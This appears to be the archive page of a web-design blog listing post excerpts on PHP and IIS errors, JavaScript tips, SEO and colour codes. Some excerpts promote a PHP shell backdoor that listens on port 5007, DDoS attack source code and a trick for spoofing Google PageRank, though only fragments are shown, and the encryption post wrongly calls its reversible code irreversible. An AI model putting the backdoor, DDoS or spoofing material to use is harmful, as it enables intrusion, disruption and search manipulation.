Archive for the ‘Web design skills’ Category

How to Fix the Error ‘Home Catchable fatal error: Object of class WP_Error could not be converted to string in /home/computerites.com/wp-content/themes/computerites/functions.php on line 144′

How to Fix the Error 'Home Catchable fatal error: Object of class WP_Error could not be converted to string in /home/computerites.com/wp-content/themes/computerites/functions.php on line 144'

 

Recently i found there is a error in my WordPress server logs.The error is "Home Catchable fatal error: Object of class WP_Error could not be converted to string in /home/computerites.com/wp-content/themes/computerites/functions.php on line 144".

I think this is due to the bread navigation.Because the page was not classified cause an error when get the page 's classification.So we can modify the code to fix this problem . Read more

Fix the PHP Error “Warning: Unknown: open” or “Warning: session_start(): open”

Today I adjust my php program, but there have been error “Warning: Unknown: open(d:/temp/tmp/sess_lco4pavd5fmkc60djl24islim6, O_RDWR) failed: No such file or directory (2) in Unknown on line 0” and “Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (d:/temp/tmp) in Unknown on line 0”

How to fix this error?

1.Check the directory "d:/temp/tmp" exists or not.Reset a really existed directory.Open php.ini or php5.ini ,set "session.save_path" a really existed directory.Remove the semicolon in front. Read more

A very good Encryption PHP Source Code

The very good encryption code.This algorithm is not reversible, please keep the source code.

< ?php
class Mcrypt
{
/**
* Decryption
*
* @param string $encryptedText Encrypted String
* @param string $key Key
* @return string
*/
public static function _decrypt($encryptedText,$key = null)
{ Read more

Temp Folder Permissions Problem Causes Site Failure in IIS PHP Environment

A few days ago my server became very slowly without reasons.When i open the PHP log file on c:\windows\temp ,
Suddenly ... stuck!

Decisively disable the Php error log.But does not solve the problem.Suddenly found a large number of files beginning with sess_ on the temp folder.The number has reached 100,000! Although only a total capacity of 300MB, but the space has reached 3G.It seems that the problem lies here!

Delete these files is required,but the process is very painful ... because the system stuck.At last use the del *.* /q /s to delete all the files. Read more

Solution of HTTP Error 500.19- Internal Server Error

Solution of HTTP Error 500.19- Internal Server Error

Just deployed a WebService in local host, when browsing to display "HTTP error 500.19-Internal Server Error".After checked found to be causes of installing IIS after installing VS2008, just re-register AspNet .

1.Open run, enter cmd into the command prompt window.

2.Enter the C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727 directory.

3.Type the Aspnet_regiis.exe – i and run Read more

A Php Backdoor Source Code

A Php Backdoor Source Code

This is a shell backdoor source code written in php script.Run it on a remote host.It will run to listen a port 5007.When you connect the remote host ,it will open a shell.But when i execute a command on the shell interface,i do not know if the instruction has been executed.It means i am not sure if the instruction is running or completed.

The source code :

<? php

error_reporting(0);
set_time_limit(0);

define('LISTEN_PORT', '5007'); Read more

Differences Between Null and Undefined in Java Script

Differences Between Null and Undefined in JavaScript

When we design a site using JavaScript,we will find there are two original types : null and undefined.Now we maybe puzzle when to use null and when to use undefined.

Null type is only one value ,just is null.It is used to indicate a not exist object.Commonly used to express a not exist object function attempts to return .

Undefined type is also only one value ,just is undefined.When a declared variable is not been initialized, the default value of the variable is undefined.

Javascript code Read more

The Code of Automatic Adding Article Copyright Information to Prevent Copying

The Code of Automatic Adding Article Copyright Information to Prevent Copying

Anytime we will find that we can see your article in any other website ,but there is no link to your site.So to prevent piracy,we must add some codes to our site.Now there are source codes of automatic adding article copyright information.

</script>
<script type="text/javascript">
document.body.oncopy=function(){
event.returnValue=false; Read more

How to Add Picture Alt Attribute Code Automatic in WordPress

How to add picture alt attribute code automatic in WordPress? We all know, the picture add alt attributes is conducive the search engine to find the picture.If the alt attribute is appropriate , perhaps the pictures can bring your website a lot of traffic.

However, we may find it is too much trouble to add the picture alt attribute one by one, especially the picture theme site.So is there a method of fully automatic adding to the site pictures alt attribute?
Read more

The DDOS Attacks Source Code in C Programming Language

Distributed Denial of Services (DDoS) is not a new concept and has been an effective way to get attention. DDoS is simple to orchestrate and rather difficult to defend against.

I came across the code which allegedly has been used by Anonymous to carry out some attacks on their targets.The code itself is straightforward, generating the desired effect at will without the need to control a large number of systems.This is the DDOS attack source code in c programming language: Read more

the Factors to Affect the Blog Rank in Google Search Rank

the Factors to Affect the Blog Rank in Google Search Rank

Improve the quality scores that is factors of improving the google search rank

Blog popularity: blog RSS is mainly reflected in the number of visits, the reason is simple, the more popular blog has more subscriptions.

The potential prevalence of blog:derived by analyzing user behavior in blog search, for example how many users click the blog on the search results page. Read more

Can You Believe? Let Your Website Gain Optional Google Page Rank

Can You Believe? Let Your Website Gain Optional Google Page Rank

If you want to gain optional Google PR, you just add the following codes(PHP code) to you homepage.

Fill a web address with Optional Google PR which you want after "Location:".For example if you fill Google.com,the Google PR is 10,if you fill msn.com ,the Google PR is 9.So you can choose a web address has the Google PR you want.Then in several days your web site will display the corresponding Google PR. Read more

Strictly Follow the Six to Make Your Site Unique

Strictly follow the six to make your site unique

1.Site requirements analysis and plan
User requirements analysis, also known as site plan, which is the website design and development of the basis functions. Needs analysis in the preparation of sites prior to the general work is to conduct in-depth communication with the user, and in-depth understanding of user needs analysis of groups of users browsing the main site. Then the user groups, site requirements and the positioning of the trades, some suggestions to the user. Web site needs analysis generally includes the structure and function Read more

the Difference between Sleep and Wait in Java Multithread

the Difference between Sleep and Wait in Java Multithread

Sleep is used for thread control, and Wait is used for the communication between threads, and the methods to cooperate Wait are also notify and notifyAll.

Difference one: Read more

Solve a Strange Problem of HTTP Error 404.17 – Not Found

Solve a Strange Problem of HTTP Error 404.17 - Not Found

Today,i install the PHP on a x64 Windows 7,when i debug the program inthe localhost it is wrong with

HTTP Error 404.17 - Not Found
The requested content appears to be script and will not be served by the static file handler.
Detailed Error Information:
Module StaticFileModule
Notification ExecuteRequestHandler
Handler StaticFile
Error Code 0x80070032

Read more

Solve the Problem of HTTP Error 403 Forbidden

HTTP Error 403 Forbidden
When you visit a Web site if you receive a following error message 403 :
Server Error in Application "<application name>"
--------------------------------------------------------------------------------
HTTP Error 403.1 - Forbidden
HRESULT: 0x80070005
Description of HRESULT: You have attempted to run a CGI, ISAPI or other executable program from a directory that does not allow executables to run.

Read more

The Simple Skill to Crack PHP Base64_decode

The Simple Skill to Crack PHP Base64_decode

Today,most of us use PHP to design the site in web design. Using PHP base64_decode + gzinflate PHP to compress and encode code in internet is more and more currently,the topic of encryption and decryption is never stopped. Here is a simple skill to crack the code encrypted by base64_decode + gzinflate. Many programmers now in order to protect their own copyright are more and Read more

40 Useful Javascript Tips

The following 40 javascript tips are commonly for web design.Them will be useful for the web designer.

1. Oncontextmenu = "window.event.returnValue = false" will completely shield the mouse right button
<table border oncontextmenu=return(false)><td>no</table> can be used for Table

2. <body Onselectstart="return false"> deselect to prevent copying

3. Onpaste = "return false" forbid to paste

4. Oncopy = "return false;" oncut = "return false;" to prevent copying

5. <link Rel="Shortcut Icon" href="favicon.ico"> IE address bar replace your icon before

6. <link Rel="Bookmark" href="favicon.ico"> can show your favorites icon

7. <input Style="ime-mode:disabled"> off input

8 will always be with a framework
<script language="JavaScript"> <! -
if (window == top) top.location.href = "frames.htm"; //frames.htm page as a framework
//--></Script> Read more

Cannot Modify Header Information

If the program is running php see this warning: "Warning: Cannot modify header information - headers already sent by ...."
Few notes based on the following user posts:
There are several solutions:
1. Blank lines :
Make sure no blank line after of the calling php script.
Check is not followed by a blank line, in particular, include or require the file. Many problems caused by these blank lines.

2. Use exit statement (with the exit to solve):
Use exit after header statement seems to help some people
After the header with exit ();
header ("Location: xxx");
exit ();

3. PHP has this annoying problem, if your HTML goes before any PHP code or any header modification before redirecting to certain page, it'll said "Warning: Cannot modify header information - headers already sent by ...." Basically anytime you output to browser, the header is set and cannot be modified. So two ways to get around the problem: Read more

the HTML Color Codes in Web Design

Maybe it's useful to somebody.

#000000 #2F0000 #600030 #460046 #28004D
#272727 #4D0000 #820041 #5E005E #3A006F
#3C3C3C #600000 #9F0050 #750075 #4B0091
#4F4F4F #750000 #BF0060 #930093 #5B00AE
#5B5B5B #930000 #D9006C #AE00AE #6F00D2
#6C6C6C #AE0000 #F00078 #D200D2 #8600FF
#7B7B7B #CE0000 #FF0080 #E800E8 #921AFF
#8E8E8E #EA0000 #FF359A #FF00FF #9F35FF
#9D9D9D #FF0000 #FF60AF #FF44FF #B15BFF
#ADADAD #FF2D2D #FF79BC #FF77FF #BE77FF
#BEBEBE #FF5151 #FF95CA #FF8EFF #CA8EFF
#d0d0d0 #ff7575 #ffaad5 #ffa6ff #d3a4ff
#E0E0E0 #FF9797 #FFC1E0 #FFBFFF #DCB5FF
#F0F0F0 #FFB5B5 #FFD9EC #FFD0FF #E6CAFF
#FCFCFC #FFD2D2 #FFECF5 #FFE6FF #F1E1FF
#FFFFFF #FFECEC #FFF7FB #FFF7FF #FAF4FF
#000079 #000079 #003E3E #006030 #006000
#000093 #003D79 #005757 #01814A #007500
#0000C6 #004B97 #007979 #019858 #009100
#0000C6 #005AB5 #009393 #01B468 #00A600
#0000E3 #0066CC #00AEAE #02C874 #00BB00
#2828FF #0072E3 #00CACA #02DF82 #00DB00
#4A4AFF #0080FF #00E3E3 #02F78E #00EC00
#6A6AFF #2894FF #00FFFF #1AFD9C #28FF28
#7D7DFF #46A3FF #4DFFFF #4EFEB3 #53FF53
#9393FF #66B3FF #80FFFF #7AFEC6 #79FF79
#AAAAFF #84C1FF #A6FFFF #96FED1 #93FF93
#B9B9FF #97CBFF #BBFFFF #ADFEDC #A6FFA6
#CECEFF #ACD6FF #CAFFFF #C1FFE4 #BBFFBB
#DDDDFF #C4E1FF #D9FFFF #D7FFEE #CEFFCE
#ECECFF #D2E9FF #ECFFFF #E8FFF5 #DFFFDF
#FBFBFF #ECF5FF #FDFFFF #FBFFFD #F0FFF0
#467500 #424200 #5B4B00 #844200 #642100
#548C00 #5B5B00 #796400 #9F5000 #842B00
#64A600 #737300 #977C00 #BB5E00 #A23400
#73BF00 #8C8C00 #AE8F00 #D26900 #BB3D00
#82D900 #A6A600 #C6A300 #EA7500 #D94600
#8CEA00 #C4C400 #D9B300 #FF8000 #F75000
#9AFF02 #E1E100 #EAC100 #FF9224 #FF5809
#A8FF24 #F9F900 #FFD306 #FFA042 #FF8040
#B7FF4A #FFFF37 #FFDC35 #FFAF60 #FF8F59
#C2FF68 #FFFF6F #FFE153 #FFBB77 #FF9D6F
#CCFF80 #FFFF93 #FFE66F #FFC78E #FFAD86
#D3FF93 #FFFFAA #FFED97 #FFD1A4 #FFBD9D
#DEFFAC #FFFFB9 #FFF0AC #FFDCB9 #FFCBB3
#E8FFC4 #FFFFCE #FFF4C1 #FFE4CA #FFDAC8
#EFFFD7 #FFFFDF #FFF8D7 #FFEEDD #FFE6D9
#F5FFE8 #FFFFF4 #FFFCEC #FFFAF4 #FFF3EE
#613030 #616130 #336666 #484891 #6C3365
#743A3A #707038 #3D7878 #5151A2 #7E3D76
#804040 #808040 #408080 #5A5AAD #8F4586
#984B4B #949449 #4F9D9D #7373B9 #9F4D95
#AD5A5A #A5A552 #5CADAD #8080C0 #AE57A4
#B87070 #AFAF61 #6FB7B7 #9999CC #B766AD
#C48888 #B9B973 #81C0C0 #A6A6D2 #C07AB8
#CF9E9E #C2C287 #95CACA #B8B8DC #CA8EC2
#D9B3B3 #CDCD9A #A3D1D1 #C7C7E2 #D2A2CC
#E1C4C4 #D6D6AD #B3D9D9 #D8D8EB #DAB1D5
#EBD6D6 #DEDEBE #C4E1E1 #E6E6F2 #E2C2DE
#F2E6E6 #E8E8D0 #D1E9E9 #F3F3FA #EBD3E8